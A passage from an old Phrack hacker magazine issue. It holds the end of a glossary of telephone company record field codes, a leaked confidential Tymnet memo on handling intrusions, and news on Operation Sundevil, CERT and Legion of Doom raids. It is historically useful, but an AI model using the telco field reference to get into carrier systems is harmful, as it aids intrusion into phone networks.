XXXX=0000,1000,...,9000

TK Trunk Cable and Pair Number

TK YYYYYY‑XXXX

YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters) XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)

TLI Telephone Line Identifier

TLI XXX‑YYY‑XXXX

X=Numeric

Y=Alphanumeric

TN Telephone Number

TN XXX‑XXXX

XXX‑XXXX=Telephone Number

TOM Two or More Non‑pending, Non‑party Filtered Circuit Facilities TOM XX

CP=Cable Pair

TN=Telephone Number

OE=Office Equipment

TP Tie Pair

TP YY...YY‑XXXX

YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters) XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)

TPR Taper Code

TPR XXXXXX

XXXXXX=Maximum of 6 Alphanumeric Characters

TRE Transmission Equipment

TRE XX...XX

XX...XX=Maximum of 17 Alphanumeric Characters

TT Telephone Number Type

TT X

B=POTs Hunting

C=Coin

G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc) O=Official

Q=Centrex

X=POTx Non‑hunting

TTA Terminating Traffic Area

TTA XXX

XXX=Maximum of 3 Alphanumeric Characters

TYP Switching Type

TYP XXX

1ES=Number 1ESS

2ES=Number 2ESS

3ES=Number 3ESS

5ES=Number 5ESS

RSS=Remote Switching System

1XB=Number 1 Cross‑bar

5XB=Number 5 Cross‑bar

SXS=Step‑by‑step

DMX=DMS‑10

DMC=DMS‑100

US USOC

US XXXXX

XXXXX=Maximum of 5 Alphanumeric Characters

USE Entity Usage

USE X

G=Growth

S=Stable

VAL Minimum Valid Hours for Entity Data

VAL XX

XX=1‑99

WC Wire Center

WC XX

XX=Alphanumeric

WL Work Location

WL Y

Y=1‑8 or

WL XXX

ADM=Administrative

ACT=Assignment Change Ticket

CPC=Special Service Circuits

MCT=Maintenance Change Tickets

WPN Work Package Number

WPN XXXX

XXXX=1‑9999

WPT Work Package Type

WPT XXX

XXX=Maximum of 3 Alphanumeric Characters

XN "X" Number

XN XXX‑YYXX or

XN XXX‑YXX

X=Numeric

Y=Alphanumeric

ZN Zone Location

ZN XXX

XXX=001‑999

========================================

ACKNOWLEDGEMENTS

Skinny Puppy for refreshing my memory

The Urvile for the "$*" file and further usage of echo

Bell Laboratories OPA‑1Y600‑01

Tymnet Security Memo

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #7 of 10

COMPANY CONFIDENTIAL

INTERIM MEMORANDUM

SUBJECT: TYMNET SUPPORT FOR CUSTOMER'S DATA SECURITY PURPOSE: This document provides background, and general procedures and practices used to support customers with suspected security problems. Field Sales is the intended audience but is a general document and may be useful to other customer support personnel. Currently, this document is in a final review. Meanwhile, it is to retain the status of an internal proprietary document. BACKGROUND: BT Tymnet Inc, and its Network Systems Company, believe information integrity is vital to ourselves and our customers. One way TYMNET insures integrity is by providing good security. TYMNET has a baseline security of user name, password, and user access profile available for all customers. Further, there are two security products. One permits the customer to limit password life (password automatically expires after a customer elected time period) and the other permits the end user to change his/her own password. Since we do consider security a key issue, we continue to develop other security features. Also, we work with Security vendors to certify their security products on our network, thus permitting customers to add such products, should they so desire.

We have established Network Systems Company Policies which provide a framework for the information contained herein (see NSC Policy 121 and 122. More policies are in distribution as of this writing). It is highly recommended that these policies be reviewed since they represent the framework of this document. Legal considerations are another key issue in any security case. Support, other then providing the customer with related security data, can only occur if law(s) have been broken. The legal issues are complex and only a minimal information is provided herein. At at the heart of this issue is the fact that the customer is the injured party, not TYMNET. Patience and good communication may be required to get the customer to understand this fact. The customers must act for themselves to obtain law enforcement support. TYMNET will support that activity, and help to the degree possible, much as a "friend of the court". THE SUPPORT: We provide security support as a responsible network service provider. The first step in that support is for the field sales representative to act as a security consultant to the customer, at least to the extent explained below. The customer is well advised to plan in advance "what to do when Captain Midnight strikes" ‑‑ contingency planning, pure simple. First there are two basic alternatives to choose from:

PROTECT AND PROCEED

OR

PURSUE AND PROSECUTE

"Protect and proceed" means 1) determine how the incident occurred, 2) plug the security leak/hole, and 3) go on with business as normal.

(Do we want written notification of the Intent to "Pusue and Prosecute" from the "Injured Party?").

"Pursue and prosecute" is just that. The first step is having the customer obtain legal support, and both we and the customer continue to gather evidence until the suspect is apprehended. The next step is the prosecution in a court of law. (The final step is to return to the first alternative, e.g., now protect and proceed.)

The customer needs to judge each case on its own merits, but generally the first choice is the wiser one. The second choice involves considerable effort, mostly by the customer and law enforcement agency(s), possible negative publicity for the customer and does not necessarily result in successful prosecution. Good contingency planning also includes becoming familiar with the laws and the local law enforcement people.

The starting point is a suspected incident. Herein, we will address the case where the customer has identified a suspected intruder. Generally, that occurs by a customer's detailed review of billing or host based security exception reports.

At this point it is essential the field sales representative open a ticket containing at least the following: 1) customer name and CID, 2) host(s) involved, 3) incident start and stop times, and 4) the customer's objective. Add any other information deemed helpful. Other support may be an on‑line trace of the call, if the suspect is currently on‑line. Field support should do this trace, or alternately, this same help can be obtained by calling network customer support and/or NetCon. In any case it must be done while the suspect is on‑line. Such trace information should be included on the ticket.

Based on the customer's position; the case will fit either "prevent and proceed" or, "pursue and prosecute". The former is straight forward, in that TYMNET security will research the incidents(s), and provide data (generally user name and point of origin(s) to the customer via Field Sales, with recommendations on how to prevent any further occurrence. We do provide this service as a responsible vendor, although strict interpretation of NSC policy 121 precludes it. However, we do apply the policy if a customer continues to ask for data without taking preventative action.

The "pursue and prosecute" case is complex, and is different for each situation. It will be explained by using a typical scenario. After the first step (as above), it is necessary to gather data sufficient to show a pattern of intrusion from a single TYMNET access point. With this information, the customer (the injured party) must contacts law enforcement agency(s), with the one exception noted below. If that intrusion point is through a gateway from a foreign country, for all practical purposes, the customer can do little to prosecute. The law(s) of the foreign country will apply since extradition is most unlikely. Therefore, action will have to be have to be initiated by the network service provider in the foreign country. In this case, TYMNET security will have MIS research the session details to obtain the Network User Identifier, and External Network Support (Jeff Oliveto's organization) will communicate that information to the foreign network for their action (cases involving U.S. government computers may get special treatment ‑ see for example ‑ Communications of the ACM, May, 1988, article on "Stalking the Wiley Hacker"). Most all security incidents on our network are caused by international hackers using X.121 addressing. Frequently, our customer is unaware of the risk of X.121 addressing, and permits it. BE SURE YOUR CUSTOMERS KNOW THAT THEY CAN CHOOSE FULL TYMNET SECURITY FEATURES, THEREBY PRECLUDING SUCH INTRUSIONS FROM X.121 ADDRESSING FROM FOREIGN NETWORKS.

For the domestic case, the customer gets law enforcement (attorney general at incoming call location, secret service if credit card fraud is involved, or possibly the FBI, depending on the incident) to open a case. Note, damage in estimated dollars is usually necessary to open a case, and many agencies will not take action on small claims. For example, as of December, 1988, the Los Angeles Attorney will not open a case for less than $10,000 (they have too big a caseload at higher damages).

Assuming legal support is provided, a court order for a wire tap and trace will be obtained, thereby determining the caller's phone number (this step can be very involved and time consuming for long distance calls). The next legal action occurs after the calling number is identified. A search warrant is obtained for searching the facility housing the phone location. Normally, this search will gather evidence sufficient for prosecution. Evidence is typically the necessary terminal equipment, printouts, diskettes, etc. Then, at long last the prosecution. Also note, again at the time the calling number is identified, the injured party should use the "protect and proceed" plan.

For further information, contact Data Security, TYMNET Validations, or Ontyme NSC.SECURITY.

PWN/Part01

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #8 or 10 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN Issue XXXI, Part One PWN PWN Compiled by Phreak_Accident PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Operation "Sun‑Devil"

=====================

May 9th and 10th brought on two day thats would be marked in every hackers history book. The reason we assume these days will be important to many, is that maybe it's time we opened are eyes and saw the witch hunt currently in progress.

In less than 48 hours, 150 Secret Service men and other law officials served 30 search warrents in 14 cities around the nation (This thing was hudge). Operation "Sun‑Devil" (As the Attorney General in Phoenix called it), was a success on their part. "The investigation though is not over, and there are more warrents to be executed.", said Jim Folwer of L.A's Secret Service. Any details of the investigation are not being given out at this time. The Asst. Attorney General of Pheonix told Phrack Inc. that there were other problems involving the investigation and that it was an ongoing investigation for the last TWO years.

It is my understanding that Gail Thackeray and the Secret Service are not, taking this lightly. She told Phrack inc. that they are not distinquishing pirates, hackers, or phreakers. Basically, it's any kid with a modem that calls a BBS with an alias. Yes, we are the witches, and we are being hunted.

The following are Two news releases obtianed via fax through the U.S. Secret Service for Phrack Inc.

N E W S R E L E A S E

FOR IMMEDIATE RELEASE CONTACT: Gail Thackeray

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Assitant Attorney General

May 9, 1990 @ 11:00 A.M. (602) 542‑4266

Attorney General Bob Corbin announced today that in connection with an eighteen‑month joint investigation into computer crime conducted with the United States Secret

Service and the United States Attorney's office, the Arizona Attorney General's office has executed seven search warrants

in which computers, electronic bulletin boards, telephone

test equipment and records have been seized.

The Organized Crime and Racketeering Division

investigation involved complaints by Arizona and out of state victims of substantial financial losses resulting from credit

card fraud and theft of long distance telephone and data communications services, and by victims of attacks on

computer systems operated by government agencies, private corporations, telephone companies, financial institutions,

credit bureaus, and a hospital.

The Arizona Attorney General's office received

information and technical assistance from the Glendale,

Arizona Police Department's Computer Crime Unit, and from

many private sector sources, including Bellcore (Bell Communications Research), American Express, Communications carriers U.S. Sprint, AT&T, MCI, Com Systems, MidAmerican Communications, LDL Communications, and Shared Use Network. Without the cooperation of these companies and of numerous federal, state and local law enforcement agencies around the country, this investigation would have been impossible.

The privacy of our citizens and the health of our

economy depend upon secure, reliable computer systems.

Computer fraud and attempts to compromise senstitive public

and private computer systems will not be tolerated.

Individuals who commit these offenses in Arizona can expect

to be prosecuted.

.end.

P R E S S R E L E A S E

FOR IMMEDIATE RELEASE Contact: Wendy Harnagel

Wednesday, May 9, 1990 United States Attorney's Office

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ (602) 379‑3011

PHOENIX ‑‑ Stephen M. McNamee, United States Attorney District of Arizona, Robert K. Corbin, Attorney General for

the State of Arizona, and Henry R. Potosky, Acting Special

Agent in Charge of the United States Secret Service Office in Phoenix, today announced that approximately twenty‑seven

search warrants were executed on Monday and Tuesday, May 7

and 8, 1990, in various cities across the nation by 150

Secret Service agents along with state and local law

enforcement officials. The warrants were issued as a part of Operation Sundevil, which was a two year investigation into alleged illegal computer hacking activities.

The United States Secret Service, in cooperation with

the United States Attorney's Office, and the Attorney General

for the State of Arizona, established an operation utilizing sophisticated investigative techniques, targeting computer

hackers who were alleged to have trafficked in and abuse

stolen credit card numbers, unauthorized long distance

dialing codes, and who conduct unauthorized access and damage

to computers. While the total amount of losses cannot be calculated at this time, it is estimated that the losses may

run into the millions of dollars. For example, the

unauthorized accessing of long distance telephone credit

cards have resulted in uncollectible charges. The same is

true of the use of stolen credit card numbers. Individuals

are able to utilize the charge accounts to purchase items for which no payment is made.

Federal search warrants were executed in the following cities:

Chicago, IL

Cincinatti, OH

Detroit, MI

Los Angeles, CA

Miami, FL

Newark, NJ

New York, NY

Phoenix, AZ

Pittsburgh, PA

Plano, TX

Richmond, VA

San Diego, CA

San Jose, CA

Unlawful computer hacking imperils the health and

welfare of individuals, corporations and government agencies

in the United States who rely on computers and telephones to communicate.

Technical and expert assistance was provided to the

United States Secret Service by telecommunication companies including Pac Bel, AT&T, Bellcore, Bell South, MCI, U.S.

Sprint, Mid‑American, Southwestern Bell, NYNEX, U.S. West,

and by the many corporate victims. All are to be commended

for their efforts for their efforts in researching intrusions

and documenting losses.

McNamee and Corbin expressed concern that the improper

and alleged illegal use of computers may become the White

Collar crime of the 1990's. McNamee and Corbin reiterated

that the state and federal government will vigorously pursue criminal violations of statutes under their jurisdiction.

Three individuals were arrested yesterday in other

jurisdictions on collateral or independent state charges.

The investigations surrounding the activities of Operation Sundevil are continuing.

The investigations are being conducted by agents of the United States Secret Service and Assistant United States

Attoryney Tim Holtzen, District of Arizona, and Assistant

Arizona Attorney General Gail Thackery.

.end.

________________________________________

Virus mania

===========

Robert T. Morris started it all. Who cares, it's over and done with. Never the less, it's being dragged out in every national paper. It's old news so we won't cover it here, but we will tell you about something the Army has up its sleeve.

Army is Looking for a Few Good Viruses By Rory J. O'conner Knight‑Ridder Newspapers

____________________

The U.S. Army is looking for help to develop the seeds of a new‑age germ warfare: It wants business to help it turn computer "viruses" into military weapons.

Experts predict the viruses, if sucessfully developed, could be used to wreak havoc on the increasing number of computers in the battlefield. The destructive computer programs which have increasingly damaged commercial and research computer systems in the past four years, could be used to disrupt military communications and feed misleading data to enemy commanders. The viruses could aslo be used to alter the programming of crucial communications satellites serving combat units, the experts said. The Army is soliciting bids from small businesses to determine the feasibility of using computer viruses in warefare. And it is willing to pay up to $550,000 to a company that comes up with a plan for creating the programs and figures out how to use military radio systems to introduce them into enemy computers.

A computer virus is a kind of program designed to disrupt normal operation of a computer system or damage data ont hat system by altering or destroying it. The rogue programs are most effective when introduced secretly into the computer system of an unsuspecting user and when their damage is subtle or hidden fromt he user for some time.

Viruses are also self‑duplicating and can spread undetected from an infected computer to other computer systems they contact.

So far, more than 60 computer viruses have been identified, most of them attacking poorly guarded personal computers used by businesses, universities and inividuals. The Army's virus would have to be more sophisticated than those programs.

But some detractors of the concept say the Army could wind up with the same problem it has with biological weapons: Creating destructive elements that might get loose and cause widespread damage to its own forces as well as civilians.

"This stuff is very dangerous, and most people involved in creating viruses are not aware of the threat," said a Bay Area virus expert who asked ot to be named. "You can't spread anthrax around the world and not have it come back around to you. And the enemy is using the same kind of computers and software that we are."

Many experts who are fighting the explosion in virus activity by amateur programmers are especially angry at government efforts to develop the programs for the military. Some say it is particulary troubling in light of the sentencing of Robert T. Morris Jr. (Ed ‑Ick), convicted in federal court of sending a similar program through a government sponsored network in 1988. "It bothers me that the government says in one breath (viruses) are bad and illegal and then asks for someone to develop them," said Glenn Tenney, a San Mateco, Calif., programmer and organizer of the annual Computer Hackers Conference. "If Morris had done the same thing for the Army, they'd have paid him hundreds of thousands to do it. But he did it on the wrong side and got punished."

Computer experts say creating a virus to the Army's specifications is possible with current technology ‑ although some of the Army's requirements could make developing it more difficult than creating an ordinary personal computer virus.

First, military computer systems are usually designed with far more security features than commercial systems, making it much harder for a virus to enter the systems. Second, the Army is emphasizings the use of radio communication to inject the virus into enemy systems. Normally, computer viruses spread through the exchange of floppy disks that contain the rogue program or along wires connecting several computers. Using complex military radio signals instead would require expertise that mose programmers don't have. .end

________________________________________

RIPCO May 8th, 1990

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Operation Sun‑Devil claimed more than just a few "Codelords" around the states, it claimed one of the oldest and more popular boards. Nobody knows when or if RIPCO shall return.

Reportedly, Dr. Ripco was charge on a hand‑gun violation after his house was searched. Phrack inc. can't comment on this.

The following is the exact transcript of the message left on RIPCO's answering maching after Operation Sun‑Devil.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

This is 528‑5020.

As you are probably aware, on May 8, the Secret Service conducted a series of raids across the country. Early news reports indicate these raids involved people and computers that could be connected with credit card and long distance toll fraud. Although no arrests or charges were made, Ripco BBS was confiscated on that morning. It's involvement at this time is unknown. Since it is unlikely that the system will ever return, I'd just l say goodbye, and thanks for your support for the last six and a half years. It's been interesting, to say the least.

Talk to ya later.

{Dr. Ricpo}

*** END OF VOICE MESSAGE ***

PWN/Part02

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #9 of 10 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN Issue XXXI, Part Two PWN PWN Compiled by Phreak_Accident PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

{C}omputer {E}mergency {R}esponse {T}eam

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some call it "Internet Police" ‑‑ Others call it "just stupid." CERT however is a mix. But I do give them credit ‑‑ After all, have your number one goal being 'making the Internet more secure' has to be a tough task. Therefore, we give them credit.

However, CERT is funded by DARPA, which is a government agency. And anything in my book that the government runs is bad news. Yes, the government pays the 6 man salary and keep their hot‑line active 24 hours a day. Ahh.. What do you know about CERT? "Nothing" you say? Well, the following is the press release and other reprints of information about CERT.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Richard Pethia <rdp@SEI.CMU.EDU>

DEAR XXXXXXXXX,

I have been reviewing our correspondence files and have discovered that your request for information may not have been filled. I apologize for the delay and hope that the information is still useful to you. If, after reading the following, you have additional questions or would like to subscribe to one of our information lists, please send email with your question/request.

The Computer Emergency Response Team (CERT) was established by the Defense Advanced Research Projects Agency in November of 1988 to serve members of the Internet Research community. The press release below describes the general role of the CERT.

More specifically, the CERT supports individual Internet sites by: ‑Working with site personnel to help resolve individual computer security incidents. Contact potentially affected sites to warn them of possible security breaches. Work with sites to change the conditions that allowed incidents to occur.

‑Issuing advisories that alert the community to specific system vulnerabilities or intrusion techniques, as well as the methods to protect against them.

‑Working with the community and system (primarily Unix) vendors to reslove specific system vulnerabilities.

‑Maintaining and operating moderated mailing lists that: (1) provide a discussion forum for tools and techniques to improve the security of Unix systems, and (2) provide a discussion forum and alert mechanism for PC viruses, trojan horses, etc.

Over the past year we have developed hundreds of working relationships with members of the Internet and other communities and have established an extensive information collection and dissemination network. Because of this network of cooperating individuals and organizations, we are often able to advise the community of problems allowing them to take corrective action before being affeceted by those problems.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

No. 597‑88

202) 695‑0192 (Info.)

202) 697‑3189 (Copies)

IMMEDIATE RELEASE December 6, 1988 (202) 697‑5737 (Public/Industry)

DARPA ESTABLISHES COMPUTER EMERGENCY RESPONSE TEAM

The Defense Advanced Research Projects Agency (DARPA) announced today that it has established a Computer Emergency Response Team (CERT) to address computer security concerns of research users of the Internet, which includes ARPANET. The Coordination Center for the CERT is located at the Software Engineering Institute (SEI), Carnegie Mellon University, Pittsburgh, PA.

In providing direct service to the Internet community, the CERT will focus on the special needs of the research community and serve as a prototype for similar operations in other computer communities. The National Computer Security Center and the National Institute of Standards and Technology will have a leading role in coordinating the creation of these emergency response activities.

The CERT is intended to respond to computer security threats such as the recent self‑replicating computer program ("computer virus") that invaded many defense and research computers.

The CERT will assist the research network communities in responding to emergency situations. It will have the capability to rapidly establish communications with experts working to solve the problems, with the affected computer users and with government authorities as appropriate. Specific responses will be taken in accordance with DARPA policies.

It will also serve as a focal point for the research community for identification and repair of security vulnerabilities, informal assessment of existing systems in the research community, improvement to emergency response capability, and user security awareness. An important element of this function is the development of a network of key points of contact, including technical experts, site managers, government action officers, industry contacts, executive level decision‑makers and investigative agencies, where appropriate. Because of the many network, computer, and systems architectures and their associated vulnerabilities, no single organization can be expected to maintain an in‑house expertise to respond on its own to computer security threats, particularly those that arise in the research community. As with biological viruses, the solutions must come from an organized community response of experts. The role of the CERT Coordination Center at the SEI is to provide the supporting mechanisms and to coordinate the activities of experts in DARPA and associated communities.

The SEI has close ties to the Department of Defense, to defense and commercial industry, and to the research community. These ties place the SEI in a unique position to provide coordination support to the software experts in research laboratories and in industry who will be responding in emergencies and to the communities of potentially affected users.

The SEI is a federally‑funded research and development center, operating under DARPA sponsorship with the Air Force Systems Command (Electronic Systems Division) serving as executive agent. Its goal is to accelerate the transition of software technology to defense systems. Computer security is primarily a software problem, and the presence of CERT at the SEI will enhance the technology transfer mission of the SEI in security‑related areas.

END

QUESTIONS AND ANSWERS: DARPA ESTABLISHES CERT, 12/6/88

Q: Can you provide background on earlier break‑ins?

A: On November 2, 1988, thousands of computers connected to unclassified DoD computer networks were attacked by a virus. Although the virus did not damage or compromise data, it did have the effect of denying service to thousands of computer users. The computer science research community associated with the Defense Advanced Research Projects Agency (DARPA), along with many other research laboratories and military sites that use these networks, quickly responded to this threat. They developed mechanisms to eliminate the infection, to block the spread of the self‑replicating program, and to immunize against further attack by similar viruses. Software experts from the University of California at Berkeley, with important contributions from the Massachusetts Institute of Technology and other network sites, rapidly analyzed the virus and developed immunization techniques. These same software experts also provided important assistance in the more recent Internet intrusion of 27‑28 November. As the events unfolded, DARPA established an ad hoc operation center to help coordinate the activities of software experts working around the clock and to provide information to appropriate government officials. The operations center had three main tasks. It facilitated communications among the many groups affected, it ensured that government organizations were promptly informed of developments, and it provided initial technical analysis in DoD. Although the threat was contained quickly, a more maliciously designed virus could have done serious damage.

The recent events serve as a warning that our necessarily increasing reliance on computers and networks, while providing important new capabilities, also creates new kinds of vulnerabilities. The Department of Defense considers this an important national issue that is of major concern in both the defense and commercial sectors. The DoD is developing a technology and policy response that will help reduce risk and provide an emergency reaction response.

Q: Who will be on the CERT?

A: The CERT will be a team of over 100 experts located throughout the U.S. whose expertise and knowledge will be called upon when needed. When not being called upon, they will continue their normal daily work. As noted in the release, these experts will include: technical experts, site managers, government action officers, industry contacts, executive‑level decision‑makers and representatives from investigative agencies.

recommendations that will be acted upon by DoD authorities.

Q: Is the CERT fully operational now?

A: We are in the very early stages of gathering people for the CERT. We are first concentrating on collecting technical experts. A staff is in place at SEI, but details are still being worked out.

Q: Will there just be one CERT?

A: The intent is that each major computer community may decide to establish its own CERT. Each CERT will therefore serve only a particular community and have a particular technical expertise. (The DARPA/SEI CERT will serve, for example, the research community and have expertise in Berkeley‑derived UNIX systems and other systems as appropriate.) The National Computer Security Center and the National Institute of Standards and Technology will support the establishment of the CERTs and coordinate among them.

Q: What are the special needs of the research community that their CERT will serve?

A: The special challenge of the research community is improving the level of computer security without inhibiting the innovation of computer technology. In addition, as is often DARPA's role, their CERT will serve as a prototype to explore the CERT concept so that other groups can learn and establish their own.

Q: Does the CERT Coordination Center have a press point of contact? A: No. Their function is to serve as a nerve center for the user community.

.end

________________________________________

USA Today and the devil

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Many controversies have been made of the article printed in USA Today after Operation Sun‑Devil took it's toll.

Phrack inc. tried to contact the author, and with no luck she wasn't accepting phone calls. Please remember, this is only a USA Today article ‑C'mon, get real USAT.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

byline 'Debbie Howlett, USA Today' reads:

A network of computer hackers operating in 14 cities ‑‑ which bilked phone companies of $50 million ‑‑ has been unplugged, police say.

"We're not talking about somebody who played Space Invaders too many times," says Tim Holtzen, spokesman for the U.S. attorney in Phoenix. The hackers ‑‑ the largest such ring discovered in the USA ‑‑broke into phone company and bank computer systems to obtain account numbers and run up an unknown total in debts, police say.

"The main thing is the life‑threatening information these computer hackers were trying to get into," says Richard Adams of the Secret Service. "It goes beyond being monetary to totally mischievous."

The ring was uncovered 18 months ago, when members tried and failed to infiltrate computers at Barrows Neurological Institute in Phoenix. They later tried to block incoming calls to the 911 emergency service in Chicago. The motivation? "The primary reason is as kind of a malicious hobby." says Gary Chapman of Computer Professionals for Social Responsibility. "People are interested in testing their skills against security measures." But, Adams says, "I hate to minimize it by saying it was just for kicks."

Police seized 40 computers and 23,000 disks during searches Tuesday in 14 cities, officials said Wednesday. Five men, between the ages of 19 and 24, have been arrested.

What's been uncovered so far, says Holtzen, may be "just the tip of the iceberg."

[END OF STORY]

PWN/Part03

==Phrack Inc.==

Volume Three, Issue Thirty‑one, Phile #10 of 10 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Phrack World News PWN PWN Issue XXXI, Part Three PWN PWN Compiled by Phreak_Accident PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Comp.dcom.telecom

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is excerpts from comp.dcom.telecom regard the now "Infamous" Legion Of Doom busts. I know most of you have seen some of these somewhere‑sometime, but I thought I would try to get these out for those unfortunate souls that don't have Usenet access.

I know there have been many controversies over the following material and the busts as a whole ‑‑ Henceforth, Phrack Inc. will not comment on any of such busts. Mainly because we don't want to jeopardize any current investigations concerning LOD and others. Leave it alone. It's old news. Let this sum it up for you guys and then forget about it.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Newsgroups: comp.dcom.telecom

Subject: CBS News Special Report ‑ "The Busting of The Mentor" Message‑ID: <4747@accuvax.nwu.edu>

Date: 5 Mar 90 06:11:49 GMT

Sender: news@accuvax.nwu.edu

Organization: Capital Area Central Texas Unix Society, Austin, TX Lines: 37

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 145, Message 6 of 6

...I've just gotten a new update on the Mentor's recent apprehension by the Feds. Thought you might like to hear something as close to as direct from the Mentor as possible under the circumstances.

From: Daneel Olivaw #96 @5283

Date: Sun Mar 04 19:55:28 1990

I'll have to play the Mentor for now (with permission granted).

If you haven't heard the rumors, here is the truth.

The Mentor was awakened at 6:30am on Thursday (3/1/90) with the gun of a Secret Service agent pointed at his head. The SS proceded to search and seize for the next 4 1/2 hours. Things taken include an AT with 80mb HD, HP LaserJet II, various documents, and other thing. They then proceded to raid his office at work, and sieze the computer and laser printer there. Lost in the shuffle was a complete novel (being written and due in 2 weeks), and various other things.

Across town: Those of you who know Erik Bloodaxe, he was also awakened, and his house searched.

Neither have been charged with anything, but they expect to at least be called as witnesses at the case of the Phrack Boys (Knight Lightning and Tarren King) in Chicago April 15.

Apparently, they did a shoddy job, as they tagged a book that Mentor had borrowed from me (Quarterman's "The Matrix"), and then forgot to take it, oh well....

It ain't lookin so lovely. Also the UT computer systes are under *VERY* close watch, as they were/are being hacked on by hackers around the world, including some in Australia, and England.

OM

From: cosell@bbn.com (Bernie Cosell)

Newsgroups: comp.dcom.telecom

Subject: Keeping Copies of Illegal Things (was Re: Jolnet, Again) Message‑ID: <4725@accuvax.nwu.edu>

Date: 4 Mar 90 04:36:50 GMT

Sender: news@accuvax.nwu.edu

Organization: TELECOM Digest

Lines: 52

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 143, Message 3 of 8

}TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again

This isn't misc.legal, and this isn't the time to be excessively picky and critical, but:

}Here is how he told the tale of the '911 software':

}The software showed up on his system one day, almost two years ago. It

}came to him from netsys, where Len Rose was the sysadmin. According to

}Andrews, when he saw this file, and realized what it was, he knew the

}thing to do was to 'get it to the proper authorities as soon as

}possible',...

}ME> "After you passed it along to Boykin, did you then destroy the

}file and get it off your site?"

}RA> "Well, no... I kept a copy also."

It strikes me that this is a KEY faux pas, regardless of good intentions or not.

}But then, said Andrews, a funny thing happened several months later.

}The folks at AT&T, instead of being grateful for the return of their

}software came back to Andrews to (in his words) 'ask for it again.'

}Somehow, they either never got it the first time; got it but suspected

}there were still copies of it out; or were just plain confused.

Just so, and if RA *supplied* another copy, I suspect they'd interpret that as pretty convincing evidence that it WAS further distributed, and with RA's knowledge. I know that they didn't actually contact him and ask/tell him to expunge all copies of the stuff, but his actions clearly demonstrated his knowledge of just what it was he was messing with, and I think they could easily show that he incurred an obligation to act prudently with it, or else [just guessing now] he could be liable to being an accessory after the fact.

}So he was contacted by the feds about a year ago, and it was at that

}point he decided it was in his best interest to cooperate with any

}investigation going on.

Perhaps his sudden cooperation was less out of pangs of conscience that it might have appeared... [not to besmirch his motives here, only to point out that a call from the FBI pointing out that while you may not have really DONE anything, your actions _could_ end up landing you in court with some serious potential badness going down (and none of this untested cheesiness about the the technicalities of bbs's and such... nice mainstream legal liability), could be pretty persuasive at converting a concerned, but out‑of‑the‑loop, citizen into an active helper].

/Bernie\

From: dattier@chinet.chi.il.us (David Tamkin)

Newsgroups: comp.dcom.telecom

Subject: Seizures Spreading

Message‑ID: <4724@accuvax.nwu.edu>

Date: 4 Mar 90 05:55:20 GMT

Sender: news@accuvax.nwu.edu

Organization: TELECOM Digest

Lines: 15

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 143, Message 2 of 8

News is that Illuminati BBS, a system run by a company named Steve Jackson Games somewhere in Texas, was also shut down and its equipment seized by the federal government because two suspected Legion of Doom members were among its users.

[Moderator's Note: And I suspect the raids will continue during the next week or two. I wonder which sites will be next? Each place they raid, the local crackers point their fingers at each other like naughty children, and to make themselves seem like the good guys they say, "Have you talked to so‑and‑so yet?". Let's see now: netsys, jolnet, attctc, illuminati, (your name here?)... Apparently even getting rid of incriminating evidence won't work any longer, if someone upstream of you tattled. PT]

From: mosley@peyote.cactus.org (Bob Mosley III)

Newsgroups: comp.dcom.telecom

Subject: Austin, TX BBS Shut Down From Joinet Bust Fallout Message‑ID: <4723@accuvax.nwu.edu>

Date: 4 Mar 90 17:22:26 GMT

Sender: news@accuvax.nwu.edu

Organization: Capital Area Central Texas Unix Society, Austin, TX Lines: 28

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 143, Message 1 of 8

This hit most BBS's in the Austin area on Thursday. It's believed the bust came down Wednesday morning. In a nutshell, here's what happened:

